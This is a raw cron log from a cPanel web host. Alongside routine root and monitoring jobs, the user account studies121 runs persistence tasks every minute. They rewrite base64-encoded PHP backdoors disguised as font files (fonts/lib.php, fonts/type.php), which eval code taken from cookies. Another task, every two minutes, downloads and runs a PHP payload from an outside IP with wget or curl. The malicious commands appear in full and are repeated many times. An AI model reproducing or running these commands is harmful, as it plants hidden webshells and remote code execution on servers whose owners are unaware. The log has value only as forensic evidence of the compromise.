Sep 10 12:37:01 ip-184-168-122-23 CROND[8578]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 12:37:01 ip-184-168-122-23 CROND[8580]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 12:37:01 ip-184-168-122-23 CROND[8579]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 12:38:01 ip-184-168-122-23 CROND[8733]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 12:38:01 ip-184-168-122-23 CROND[8734]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 12:38:01 ip-184-168-122-23 CROND[8736]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 12:38:01 ip-184-168-122-23 CROND[8737]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 12:38:01 ip-184-168-122-23 CROND[8735]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 12:39:01 ip-184-168-122-23 CROND[8845]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 12:39:01 ip-184-168-122-23 CROND[8848]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep 10 12:39:01 ip-184-168-122-23 CROND[8849]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 12:39:01 ip-184-168-122-23 CROND[8850]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 12:39:01 ip-184-168-122-23 CROND[8847]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 12:40:01 ip-184-168-122-23 CROND[8997]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 12:40:01 ip-184-168-122-23 CROND[8999]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 12:40:01 ip-184-168-122-23 CROND[8998]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 10 12:40:01 ip-184-168-122-23 CROND[9001]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 12:40:01 ip-184-168-122-23 CROND[9002]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 10 12:40:01 ip-184-168-122-23 CROND[9000]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 12:40:01 ip-184-168-122-23 CROND[9004]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 12:40:01 ip-184-168-122-23 CROND[9005]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 10 12:41:02 ip-184-168-122-23 CROND[9165]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 12:41:02 ip-184-168-122-23 CROND[9167]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 12:41:02 ip-184-168-122-23 CROND[9168]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 12:41:02 ip-184-168-122-23 CROND[9171]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 12:42:01 ip-184-168-122-23 CROND[9396]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 12:42:02 ip-184-168-122-23 CROND[9399]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 12:42:02 ip-184-168-122-23 CROND[9398]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 12:42:02 ip-184-168-122-23 CROND[9401]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 12:42:02 ip-184-168-122-23 CROND[9402]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 12:43:01 ip-184-168-122-23 CROND[9519]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 12:43:01 ip-184-168-122-23 CROND[9523]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 12:43:01 ip-184-168-122-23 CROND[9522]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 12:43:01 ip-184-168-122-23 CROND[9521]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 12:44:01 ip-184-168-122-23 CROND[9624]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 12:44:01 ip-184-168-122-23 CROND[9626]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 12:44:01 ip-184-168-122-23 CROND[9630]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 12:44:01 ip-184-168-122-23 CROND[9628]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 12:44:01 ip-184-168-122-23 CROND[9631]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 12:45:01 ip-184-168-122-23 CROND[9790]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 12:45:01 ip-184-168-122-23 CROND[9791]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 10 12:45:01 ip-184-168-122-23 CROND[9794]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 12:45:01 ip-184-168-122-23 CROND[9795]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 12:45:01 ip-184-168-122-23 CROND[9796]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 12:45:01 ip-184-168-122-23 CROND[9793]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/scripts/update_mailman_cache && /usr/local/cpanel/scripts/update_mailman_cache)
Sep 10 12:45:01 ip-184-168-122-23 CROND[9792]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 10 12:46:01 ip-184-168-122-23 CROND[9900]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 12:46:01 ip-184-168-122-23 CROND[9902]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 12:46:01 ip-184-168-122-23 CROND[9904]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Sep 10 12:46:01 ip-184-168-122-23 CROND[9906]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 12:46:01 ip-184-168-122-23 CROND[9907]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 10 12:46:01 ip-184-168-122-23 CROND[9905]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 12:46:01 ip-184-168-122-23 CROND[9908]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 12:47:02 ip-184-168-122-23 CROND[10108]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 12:47:02 ip-184-168-122-23 CROND[10107]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 12:47:02 ip-184-168-122-23 CROND[10109]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 12:47:02 ip-184-168-122-23 CROND[10106]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 12:48:02 ip-184-168-122-23 CROND[10259]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 12:48:02 ip-184-168-122-23 CROND[10260]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 12:48:02 ip-184-168-122-23 CROND[10262]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 12:48:02 ip-184-168-122-23 CROND[10264]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 12:48:02 ip-184-168-122-23 CROND[10265]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 12:49:01 ip-184-168-122-23 CROND[10384]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
